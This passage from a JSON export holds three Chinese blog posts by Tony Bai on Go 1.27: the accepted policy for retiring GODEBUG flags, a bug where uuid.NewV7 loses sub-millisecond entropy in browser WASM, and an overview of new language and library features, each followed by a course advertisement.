[{"content":"\n本文永久链接 – https://tonybai.com/2026/06/26/policy-for-removing-godebug-flags\n大家好，我是Tony Bai。\n2012 年 3 月，Go 1.0 的发布确立了那条被奉为开源界圣经的规则——Go 1 兼容性保证（Go 1 compatibility guarantee）。它承诺的大意：任何符合 Go 1 规范的程序，在未来的 Go 1.x 版本中，无需修改即可直接编译并正确运行。\n这项承诺让 Go 语言迅速成为了全球云原生和企业级应用最坚固、最值得信赖的数字化底座。\n但世界上没有免费的午餐。为了在解决漏洞、修补安全缺陷（如修改 panic(nil) 的默认行为）的同时，不让那些依赖旧有行为的历史遗留项目当场崩溃，Go 引入了 GODEBUG 环境变量机制。当核心行为发生改变时，Go 会提供一个临时的 GODEBUG 标记（如 panicnil=1 或 gotypesalias=1），允许开发者在升级编译器后，依然能够手动“续命”旧系统的行为。\n然而，随着时间的推移，这些临时标记呈指数级膨胀。\n每一个 GODEBUG 选项，都意味着 Go 运行时（Runtime）内部存在一条丑陋的分支路径。这不仅带来了大量的技术债，更让 Go 编译器团队在测试、升级核心算法时面临灾难性的排列组合噩梦。\n为了彻底终结这场无底线的妥协，2026 年 6 月 24 日，Go 语言提案委员会主席 aclements 正式宣布：关于“撤销与清理 GODEBUG 标记的新政策”（Issue #76163）已被正式标记为 Accepted（接受）！\n虽然 Go 1.27 目前正处于发布候选（RC）阶段、功能特性已经冻结，但正如 Go 创始人之一 Robert Griesemer 所说：这项提案的通过并不会阻碍 Go 1.27 的正常发布。因为针对 Go 1.27 周期内的清理工作和底层编译器校验，早已经在默默运转。\n今天，我们就再来深度分析这一份旨在“偿还十年技术债”的硬核提案，看看 Go 官方是如何在不破坏兼容性基石的前提下，对历史包袱进行铁腕清洗的。\n铁腕新规：四类 GODEBUG 的宿命大结局 为了让 GODEBUG 的退场有法可依，新政策（#76163）将所有的 GODEBUG 选项分为了极其严密的四个层级，并为它们制定了不同的生命周期：\n标记分类 释义与现状 新政处理规则（生命周期结束） Category 1 已删除的历史标记 无需处理。其名称会被永久保留并归档在内部清单中，严禁未来重名复用。 Category 2 拥有明确最快删除期限的临时标记 在到期前的一个版本，标记为“计划删除（Slated for removal）”并在 release notes 中公告。若无强力合理反对，下个版本直接物理删除。 Category 3 无期限的普通临时标记 强迫其转型为 Category 2。所有没有明确保质期的临时标记，必须被强制赋予一个不少于 2 年的删除期限（4个大版本周期）。 Category 4 被明确声明为永久性的标记（如 netdns） 除非有极高层级的、经过标准提案委员会评审并提供无痛替代方案的提案通过，否则严禁删除。 这项新政策彻底明确了：除了极少数系统底层所需的永久性选项，任何为了平稳升级而引入的 GODEBUG 标记，都只有最多 2 年的“保质期”。\n时间一到，不改代码的旧系统，就会遭到编译器的无情审判。\nGo 1.27 率先破局：启动即 Crash 的“强制净化”机制 虽然新规刚刚通过，但在已经发布的 Go 1.27 预览版（WASM、编译器、运行时等核心变更中），这项政策的底层防御代码早已经悄然合并（CL 784221, CL 788340）。\n从 Go 1.27 开始，如果你试图在新编译器下强行开启已经寿终正寝的旧行为，你将迎来两条绝对无法逾越的安全红线：\n1. 编译期阻断（Build-time Barrier） 如果你试图在 go.mod 文件的 godebug 块，或者 .go 文件的注释中（如 //go:debug gotypesalias=0）开启已经删除的选项： go build 会毫不留情地报错，直接拒绝编译！\n💡 温馨提示：为了保持宽容度，Go 1.27 允许你在 go.mod 中保留已被删除的 GODEBUG 名称，前提是它的 Value 必须是它最终的默认值（例如 gotypesalias=1，代表已经接受新行为）。只有当你试图将其设为旧的非默认值（例如 0，试图退回到旧行为）时，编译才会失败。\n2. 启动期 Panic（Startup Crash） 这是最硬核的改动。如果有人通过操作系统的环境变量绕过编译，强行在运行环境中执行：\nexport GODEBUG=asynctimerchan=1 # 试图让定时器回到旧版缓冲通道模式 当程序启动时，Go 运行时的 parsegodebug 引导函数会在初始化阶段直接检测到这一违规操作，并在程序还未运行一行核心代码前，当场发生 Panic 并强行 Abort 退出！\n3. os.Setenv 运行期的妥协保护 当然，系统工程永远是充满妥协的艺术。如果某个第三方库在运行期通过代码执行：\nos.Setenv(\u0026#34;GODEBUG\u0026#34;, \u0026#34;gotypesalias=0\u0026#34;) // 动态修改环境变量 如果这也导致 panic，那么由于第三方库不受主项目控制，整个应用会面临极大的线上不稳定风险。\n因此，Go 团队做出了极其务实的妥协：通过 os.Setenv 动态修改已被删除的 GODEBUG 选项时，运行时将静默忽略（Ignored）并继续安全运行，而不会发生 Panic。\n引入runtime.SetGODEBUG 为了解决 os.Setenv 在动态修改配置时造成的混乱与安全隐患，Go 官方将引入两个全新的运行时控制函数：\n// SetGODEBUG 显式设置运行时 GODEBUG 属性。 // 如果设置了已被删除或不合法的选项，直接 panic，绝不姑息！ func SetGODEBUG(name, value string) // GetGODEBUG 获取当前的运行时配置。 func GetGODEBUG(name string) string 同时，通过 os.Setenv(\u0026ldquo;GODEBUG\u0026rdquo;, \u0026hellip;) 修改GODEBUG配置的行为将被官方正式废弃（Deprecated）。 go vet 将在编译时直接扫描整个项目，一旦发现有人试图通过修改操作系统环境变量来调整 GODEBUG，直接报出静态检测警告（Warning）。\n小结 在软件工程中，向后兼容是一项极其伟大的美德。但没有任何底线的“无条件妥协”，只会让系统的底座在无休止的兼容分支中逐渐腐烂。\n通过正式批准 #76163 提案，Go 语言不仅向全球开发者展示了其还清技术债的铁腕决心，更为大模型时代的语言基建树立了一个极高标准的工程典范：一个健康、高效、安全的分布式系统底座，必须学会在最关键的时刻，对历史包袱说不。\n擦干冗余的分支，还系统以最初的简单。这，正是 Go 语言历经大浪淘沙后，依然坚如磐石的终极秘密。\n资料链接：https://github.com/golang/go/issues/76163\n今日开放讨论：\n作为企业级系统的设计师，你在面对历史遗留业务的“向后兼容”与“偿还系统技术债”时，曾经做过哪些艰难的选择？你是否也曾想过为你的企业内层业务架构，设计一套类似于 GODEBUG 的“分级弃用策略（Decommissioning Policy）”？\n欢迎在评论区留下你对“技术债清算”的硬核工程见解，我们一起在评论区深度交流！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/26/policy-for-removing-godebug-flags/","summary":"\u003cp\u003e\u003cimg alt=\"题图\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/policy-for-removing-godebug-flags-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/26/policy-for-removing-godebug-flags\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/26/policy-for-removing-godebug-flags\"\u003ehttps://tonybai.com/2026/06/26/policy-for-removing-godebug-flags\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e2012 年 3 月，Go 1.0 的发布确立了那条被奉为开源界圣经的规则——\u003cstrong\u003eGo 1 兼容性保证（Go 1 compatibility guarantee）\u003c/strong\u003e。它承诺的大意：任何符合 Go 1 规范的程序，在未来的 Go 1.x 版本中，无需修改即可直接编译并正确运行。\u003c/p\u003e","title":"偿还十年技术债：深度拆解 Go 1.27 的 GODEBUG 强力清理计划"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/25/go-1-27-uuid-newv7-always-generates-uuid-with-7000-on-browsers\n大家好，我是Tony Bai。\n在刚刚发布第一个候选版本（RC1）的 Go 1.27 中，一个让开发者感到贴心的特性升级，莫过于标准库终于原生内建了 uuid 包。我们终于可以告别第三方依赖，用最地道、最安全的方式在标准库里生成高并发、时间有序的 UUIDv7。\n然而，新包刚上新，一桩诡异的“灵异事件”就在 WebAssembly（WASM）和浏览器生态中传开了。\n知名 Go 游戏引擎 Ebitengine 的创造者 hajimehoshi 在测试 Go 1.27rc1 时，提交了一个 Bug（Issue #80084）：\n当他在浏览器环境（GOOS=js GOARCH=wasm）下调用 Go 1.27 新标准库的 uuid.NewV7() 时，生成的 UUID 居然极度规律。在代表随机数和亚毫秒时间戳的第三组字符中，无论运行多少次，永远雷打不动地包含“7000”！\n019ee60f-29b3-7000-a12b-f817e25db8f4 019ee610-29c7-7000-bc34-f04bc09150bb 019ee610-2eb4-7000-884a-dfcad78e47d9 原本应该提供高强度碰撞防护的 12 位随机熵值，在浏览器里竟然离奇缩水、变成了死板的零（000）。\n这究竟是 Go 标准库的设计失误，还是底层操作系统与浏览器之间展开的一场“安全阴谋”？在这篇文章中，我们一起来探索和解读一下。\n破译密码学结构：什么是 UUIDv7 与 7000 幽灵？ 要看懂这个 Bug，我们首先需要拆解一下 UUIDv7（RFC 9562） 的底层二进制结构。\n相比于我们常用的、纯随机的 UUIDv4，UUIDv7 最大的优势在于**“时间有序性”**。它将时间戳放在高位，使其能够像数据库自增主键一样对索引极度友好。\n它的 128 位二进制排布如下：\n0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | unix_ts_ms (48 bits) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | unix_ts_ms | ver | rand_a (12 bits)| \u0026lt;-- 幽灵发生处！ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |var| rand_b (62 bits) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | rand_b | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ unix_ts_ms (48位)：自 Unix 纪元以来的毫秒级时间戳。 ver (4位)：版本号。对于 UUIDv7，这里永远是二进制的 0111（即十六进制的 7）。 rand_a (12位)：在标准的定义中，这 12 位可以用来存放亚毫秒级（微秒/纳秒）的高精度时间分数，或者用来充当单毫秒内的单调递增计数器。 rand_b (62位)：纯粹的加密安全随机数。 在 Go 1.27 的标准实现中，为了提供极致的精确度和排序性，编译器采取了一种非常优雅的混合设计（RFC 9562 推荐的 Method 3）：\n它会获取系统的纳秒级高精度时间，把前 48 位（毫秒）放进 unix_ts_ms，把剩下的 12 位亚毫秒级高精度时间，直接塞进紧随其后的 rand_a 字段中。\n因此，在正常的高精度系统上，第三组字符的第一个字母永远是代表版本的 7，而随后的三个十六进制字符则是随机变化的亚毫秒时间戳（如 7164、7008 等）。\n但在浏览器（WASM）中运行这段 Go 代码时，由于系统的亚毫秒级高精度时间全部归零，rand_a 的 12 位数据彻底退化为了 000。\n它与版本号 7 拼在了一起，便诞生了那个雷打不动的“7000”幽灵。\n浏览器的“防自卫反击”：Spectre、熔断与被阉割的时钟 为什么在浏览器里，Go 拿不到亚毫秒级的高精度时间？\n这背后，其实是浏览器厂商为了对抗物理芯片漏洞，进行的一场长达数年的安全防御战争。\n2018 年，现代处理器设计中最著名的硬件漏洞——**Spectre（幽灵）和 Meltdown（熔断）**爆发。这些漏洞利用了 CPU 的分支预测和缓存旁路分析，能让恶意网页读取到内存中受保护的敏感数据（包括其他网页的 Cookie、密码等）。\n而此类高深、精密的侧信道攻击（Side-channel attacks），极度依赖于微秒级、乃至纳秒级的超高精度系统时钟。 攻击者需要通过精确测量 CPU 缓存读取的时间差，来推算内存中的数据。\n为了彻底掐断攻击者的温床，各大浏览器巨头（Mozilla、Google、Apple）联手做出了一个残忍但必须的决定：在浏览器沙箱中，人工、强制地削弱并阉割所有 JavaScript 高精度时钟的精确度！\n浏览器里的 performance.now() 和 Date.now() 被强制进行了四舍五入。 例如在 Firefox 中，默认情况下时钟精度被限制在 2ms。如果用户开启了防指纹追踪（Resist Fingerprinting）安全设置，精度甚至会被直接阉割到 100ms！ 当 Go 1.27 编译为 WASM 运行在浏览器中时，其底层的 time.Now() 最终只能去向浏览器的宿主环境（JavaScript）索要时间。\n面对被浏览器安全策略阉割到毫秒甚至百毫秒级的残缺时钟，Go 编译器拼命想读取底层的纳秒数据，但读出来的永远只是冷酷的“0”。\n隐藏的危机：丧失 12 位熵值的碰撞深渊 “虽然多出了 7000 看起来有点丑，但它依然是合规的 UUID，这有什么大不了的？”\n如果你抱着这样的想法，那就低估了分布式系统设计的残酷性。\n在单毫秒的极短时间内，如果我们并发生成了大量的 UUID（例如在 Cloudflare Workers 这样的边缘无服务器环境，或者高并发的 WASM 网页应用中）：\n在正常系统上，我们有 12 位的 rand_a 亚毫秒高精度做保护，保证了单毫秒内极难发生碰撞； 但在浏览器里，由于 rand_a 恒定为 000，我们瞬间丢失了 12 位的密码学熵（Entropy）！ 这导致 UUIDv7 的实际随机保护带，从标准的 74 位直接缩水到了 62 位。在高并发、分布式生成场景下，这会导致碰撞（Collision）的概率呈指数级上升！ 在金融交易、分布式主键或敏感会话管理中，这是完全不可接受的安全性崩溃。\nGo团队的系统级解法 面对这个在开发阶段难以预料的“环境坑”，Go 团队的工程师 neild 与社区展开了积极的方案讨论和验证。\n如何既不损害系统性能，又能完美补全这 12 位丢失的随机能量？\n在最新的合并讨论中，Go 团队达成了一套极其务实的优雅解法（CL 792820）：\n不进行昂贵的硬件检测：有人提出通过在循环中调用 time.Now() 来动态测量当前系统的时钟精度。但这太重了，会极大地拖慢 NewV7() 的生成效率。 优雅降级与随机补全：当检测到当前系统的 wallclock 精度不足以填满 rand_a 的 12 位亚毫秒空间时（或者直接针对 GOOS=js 平台），Go 运行时会直接退回到备用方案——用真正的、通过 crypto/rand 产生的物理随机安全比特，去填满 rand_a 丢失的那 12 位空缺。 单毫秒内的单调递增（Monotonicity）：在补全随机性的同时，如果系统在同一毫秒内产生了极高频的并发调用，AX 依然会使用 12 位作为计数器（Counter）进行累加，确保在高并发下的绝对单调递增和排序性。 通过这套巧妙的自适应补全设计，Go 1.27 不仅完美规避了浏览器的“安全阴谋”，更在系统最底层的设计上，为未来的 WebAssembly 和边缘计算（Edge Computing）开发者筑起了一道安全护城河。\n小结 写好一段标准库级别的系统代码，从来都不是在真空中进行的。\nGo 1.27 标准库 uuid 的这场“7000”幽灵风波，向我们揭示了现代高级软件工程最迷人的魅力：一个看起来再普通不过的基础库函数，其底层设计居然需要穿透编译器的类型系统、直接触碰到 CPU 硬件级安全漏洞（Spectre）以及浏览器的多沙箱防御边界。\n大模型或许能帮你快速写出几行能运行的代码，但这种对多层系统级协作、硬件侧信道攻击以及跨环境兼容性的深度洞察和架构重塑，依然只能依靠人类最顶尖的系统级软件工匠去雕琢。\n资料链接：https://github.com/golang/go/issues/80084\n✍️ 今日开放讨论：\n你目前在项目中使用的是哪个版本的 UUID（v4、v5 还是 v7）？在面对诸如浏览器时钟阉割、硬件漏洞等不可控的系统运行环境变化时，你们的底层系统是如何进行防范和优雅降级的？\n欢迎在评论区留下你最硬核的系统级见解，我们一起在评论区深度交流！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/25/go-1-27-uuid-newv7-always-generates-uuid-with-7000-on-browsers/","summary":"\u003cp\u003e\u003cimg alt=\"题图\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-1-27-uuid-newv7-always-generates-uuid-with-7000-on-browsers-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/25/go-1-27-uuid-newv7-always-generates-uuid-with-7000-on-browsers\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/25/go-1-27-uuid-newv7-always-generates-uuid-with-7000-on-browsers\"\u003ehttps://tonybai.com/2026/06/25/go-1-27-uuid-newv7-always-generates-uuid-with-7000-on-browsers\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在刚刚发布\u003ca href=\"https://tonybai.com/2026/06/24/go-1-27-foresight\"\u003e第一个候选版本（RC1）的 Go 1.27\u003c/a\u003e 中，一个让开发者感到贴心的特性升级，莫过于标准库终于原生内建了 \u003cstrong\u003euuid\u003c/strong\u003e 包。我们终于可以告别第三方依赖，用最地道、最安全的方式在标准库里生成高并发、时间有序的 \u003cstrong\u003eUUIDv7\u003c/strong\u003e。\u003c/p\u003e","title":"浏览器里的“安全阴谋”：为什么 Go 1.27 的 UUIDv7 会离奇丧失随机性？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/24/go-1-27-foresight\n大家好，我是Tony Bai。\n随着 2026 年中 Go 1.27 开发分支的功能冻结与首个RC版本的发布，Go 语言生态再次迎来了一个令人瞩目的关键节点。\n回望刚刚过去的半年，Go 语言在 Go 1.26 中通过 Green Tea GC 和 逃逸分析升级 实现了极致的性能压榨。而在即将到来的 Go 1.27 中，Go 团队不仅在语言底层和编译器上完成了多项史诗级的长跑任务，更在标准库的现代化、安全性以及硬件级加速上进行了前所未有的大胆扩容。\n这是一次编译器抽象能力与云原生工程底座的全面双向进化。\n从终于落地的“泛型方法（Generic Methods）”，到彻底终结第三方依赖混乱的标准库内建 uuid 包；从全新重构、性能大涨的encoding/json/v2的正式落地(去除了GOEXPERIMENT的身份标签)，到全面迎战未来的后量子加密算法（ML-DSA/ML-KEM）。Go 1.27 用实际行动证明：在保持大道至简的同时，Go 依然是构建大规模、高性能、现代安全分布式系统的终极首选。\n本文将基于最新的发布Go 1.27 Release Notes草稿，从语言特性、运行时性能、标准库升级以及工具链四个维度，为你全景解读 Go 1.27 的硬核进化。\n语言与编译器：泛型方法的尘埃落定与字面量进化 在语言特性和编译器层面，Go 1.27 带来了自 Go 1.18 引入泛型以来最重要的一次补全。\n史诗级补全：支持“泛型方法”（Generic Methods） 自 Go 1.18 引入类型参数（Type Parameters）以来，广大 Gopher 面对的一个最大遗憾就是：方法（Methods）不能声明自己的类型参数。我们只能在结构体级别声明泛型，而无法让某个特定方法拥有自己独立的类型参数。\n在 Go 1.27 中，这一限制终于成为了历史（Issue #77273）。\n痛点场景：\n在 Go 1.26 及之前，如果你想为一个非泛型结构体编写一个能处理任意类型的泛型方法，你只能退而求其实，将其声明为一个全局的包级函数：\n// Go 1.27 之前的妥协写法 type Converter struct{} // 必须写成包级函数，无法挂载在 Converter 下 func ConvertToString[T any](c Converter, val T) string { return fmt.Sprintf(\u0026#34;%v\u0026#34;, val) } Go 1.27 的优雅解法：\n现在，方法可以声明自己的类型参数了！你可以非常自然地将泛型函数收拢在特定数据类型的命名空间内：\n// Go 1.27 优雅写法 type Converter struct{} // 方法现在可以拥有自己的类型参数 T！ func (c Converter) ConvertToString[T any](val T) string { return fmt.Sprintf(\u0026#34;%v\u0026#34;, val) } ⚠️ 注意：为了编译器的实现效率与安全性，Go 1.27 施加了一条明确的限制：接口（Interfaces）的方法依然不允许声明类型参数，且接口方法不能由泛型方法来实现。 这意味着泛型方法主要用于具体结构体（Struct）的业务逻辑组织，而非动态多态。\n结构体字面量的“深层字段选择器”初始化 在创建嵌套结构体时，Go 1.27 引入了一项极其精妙且实用的语法放宽（Issue #9859）。\n以前，我们在初始化结构体字面量（Struct Literal）时，只能给它的顶层字段（Top-level fields）赋值。在 Go 1.27 中，Key 可以是任何合法的字段选择器（Field Selector）：\n// Go 1.27 嵌套初始化 type Position struct { X, Y int } type Player struct { Name string Pos Position } // 现在可以直接通过字段选择器进行内层初始化！ p := Player{ Name: \u0026#34;Tony Bai\u0026#34;, Pos.X: 100, // Go 1.27允许！之前的版本会返回“invalid field name Pos.X in struct literal”的编译器错误 Pos.Y: 200, } 这极大地简化了深层嵌套结构体的初始化代码，减少了临时中间变量的声明。\n闭包函数符号命名精简与合并去重 对于追求二进制文件体积和性能的团队来说，编译器的这一优化非常务实。\n在过去，当闭包（Function Literals）所在的外部函数被编译器执行内联（Inlined）时，闭包的符号名会变得极其冗长，且会在二进制中产生多份重复代码。\nGo 1.27 的编译器现在会对闭包使用统一的符号命名（不受内联影响），并在底层对功能完全相同的闭包代码进行合并与去重。这不仅规范了符号表，还为复杂的并发应用带来了额外的体积缩减。\n运行时与性能：微小分配提速与协程泄露检测转正 在“看不见的底层”，Go 1.27 继续在算力压榨和生产级可观测性上狂飙。\n微小内存分配（\u0026lt;80 字节）提速 30% Go 1.27 的编译器现在能够生成针对特定大小的内存分配例程（Size-specialized memory allocation）。\n优化目标：针对小于 80 字节的微小对象（如小型的结构体、临时变量）。 性能提升：这些小对象的分配成本最高降低 30%。对于高并发、大量小对象分配的现实微服务应用，整体性能提升约为 1%。 开销：二进制文件大小会固定增加约 60 KB。如果对二进制大小极度敏感，可在构建时通过设置 GOEXPERIMENT=nosizespecializedmalloc 予以关闭（该关闭选项将在 Go 1.28 移除）。 协程泄露分析（Goroutine Leak Profile）正式转正 在 Go 1.26 中作为实验特性登场的goroutineleak Profile 现已正式转正（由 Uber 的工程师 Vlad Saioc 贡献）。\n在生产环境中，因为死锁、Channel 阻塞导致的“僵尸协程”是极难排查的。这一功能复用了 Go GC（垃圾回收器）的标记能力：如果一个协程挂起在某个通道（Channel）或锁（Mutex）上，且垃圾回收器分析出该通道或锁在未来绝对不可能再被任何运行中的协程所触达（Unreachable），那么该协程就会被判定为“永久泄露”。\n调用方式：通过 runtime/pprof 直接生成报告，或者在生产环境直接访问 /debug/pprof/goroutineleak 接口。 价值：这是生产环境在线排查“偏死锁（Partial Deadlocks）”的核弹级武器，真正做到了零误报。 工具链：自动化重构与整洁秩序 go fix ：新增多种现代代码自动重构器 在 Go 1.26 中，古老的 go fix 命令经历了脱胎换骨的重构。它不再使用过时的 AST 替换，而是全面接入了与 go vet 相同的现代化 Analysis Framework。Go 1.27中它的功能进一步得到丰富，武器得到进一步扩展：\n新重构器（Modernizers）：新增了 atomictypes、embedlit、slicesbackward 和 unsafefuncs 等多个自动分析器。 效果：现在，运行 go fix 可以自动帮你检测项目中的陈旧写法，并一键将它们重构成 Go 1.27 推荐的现代、高性能语法。 go mod tidy 的强迫症解药：自动合并 require 块 如果你深受项目合并分支后 go.mod 里面零散、重复的 require 块之苦，Go 1.27 给你带来了解药：\n针对声明了 go 1.27 或更高版本的模块，go mod tidy 运行时会强制执行“双块布局（Two-block layout）”：一个统一的直接依赖 block，和一个统一的间接（indirect）依赖 block。所有的碎片、冲突 require 块将被自动清洗并归类，同时完美保留和合并原有的代码注释。\n标准库大扩容：JSON v2、内建 UUID 与后量子加密 标准库仍然是 Go 1.27 更新中分量最重、影响最深远的部分。\nencoding/json/v2 正式版降临：性能飞跃与严格默认值 经过社区数年的论证，新一代的 encoding/json/v2 和 encoding/json/jsontext 终于作为标准库正式发布（Issue #71497）。\n更严苛、安全的默认值：v2 包默认拒绝不合法的 UTF-8 字符，且默认拒绝 JSON 对象中出现重复的键名（Duplicate Names）。 极致性能：在保持 Marshal 性能与 v1 持平的同时，Unmarshal 的解析速度迎来了质的飞跃。 无痛平替：现有的 encoding/json（v1）在底层已被完全切换为 v2 的引擎实现。为了向后兼容，v1 获得了大量的全新 Options 参数，可以配置其以 v1 兼容模式运行。 回退通道：如果遇到突发的兼容性问题，可通过 GOEXPERIMENT=nojsonv2 进行回退。 喜大普奔：标准库内建 uuid 包 所有 Go 开发者都可以删掉第三方依赖 github.com/google/uuid 了！\nGo 1.27 正式引入了内建的 uuid 标准库包，用于原生、高性能地生成和解析标准 UUID。这是自 log/slog 以来，Go 标准库对高频基础业务功能的又一次标志性收拢，进一步降低了工程的第三方依赖风险。\n迎战后量子加密：ML-DSA 与 ML-KEM 随着量子计算的逼近，传统的 RSA 和 ECDSA 正在面临失效风险。Go 1.27 在密码学安全性上迈出了极具前瞻性的一步：\nML-DSA（FIPS 204）签名：新增 crypto/mldsa 包，实现了后量子数字签名方案。crypto/x509 现已原生支持 ML-DSA 的公私钥解析与签名验证。 ML-KEM 密钥交换：crypto/tls 原生支持了 MLKEM1024，并为 TLS 1.3 引入了后量子混合签名套件（MLDSA44, MLDSA65, MLDSA87）。 Go 1.27 确保了用其构建的云原生基础设施，在面对未来可能出现的量子计算威胁时，拥有绝对的安全先发优势。\n实验性 simd 包：便携式的硬件算力榨取 Go 1.27 引入了全新的、平台无关的实验性 simd 包（Issue #78902），并在 simd/archsimd 中继续完善对 WASM、ARM64（Neon）以及 AMD64 架构下 128/256/512 位向量指令的支持。这标志着在科学计算、矩阵运算与多媒体处理领域，Go 开发者能够以极其优雅的、平台中立的 API，白嫖底层的 CPU 硬件加速红利。\n更多标准库微小改进 bytes 与 strings：新增 CutLast 方法，允许围绕最后一个分隔符（Separator）快速切分切片或字符串，优雅平替了过去繁琐的 LastIndex 操作。 time 彻底硬核同步：asynctimerchan GODEBUG 选项被永久移除。time 创建的通道现在永远是无缓冲（同步）的，彻底消除了由于异步定时器通道导致的行为不一致性。 math/big：Int 结构体新增了 Divide 方法，原生支持向零舍入（Trunc）、向下取整（Floor）、四舍五入（Round）和向上取整（Ceil）。 小结 Go 1.27 展示了 Go 团队在“能力扩容”与“安全防御”上的雄心。\n它既有解决开发者心头大恨的泛型方法、标准库 UUID 和 json/v2，也有为未来十年系统安全筑起高墙的后量子加密套件，更有让既有代码自动变快的微小分配优化。\nGo 1.27 预计将于 2026 年 8 月正式发布。现在，你就可以通过官方的预览版本(也可以通过Go playground选择”Go dev branch”体验)，提前在生产环境里感受到这股进化的力量。\n资料链接：https://tip.golang.org/doc/go1.27\n聊聊你的期待\nGo 1.27 的这套组合拳，无疑是一次诚意满满的“大版本升级”。在你看来，泛型方法的解放、标准库 UUID 的加入，以及 JSON v2 的重构，哪一个能最直接地改善你明天的编码体验？\n欢迎在评论区留下你的看法，让我们一起期待 Go 1.27 正式版的降临！\n如果这篇文章让你对 Go 1.27 的未来图景有了更清晰的认识，别忘了点个【赞】和【在看】，并分享给身边的 Gopher 朋友！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 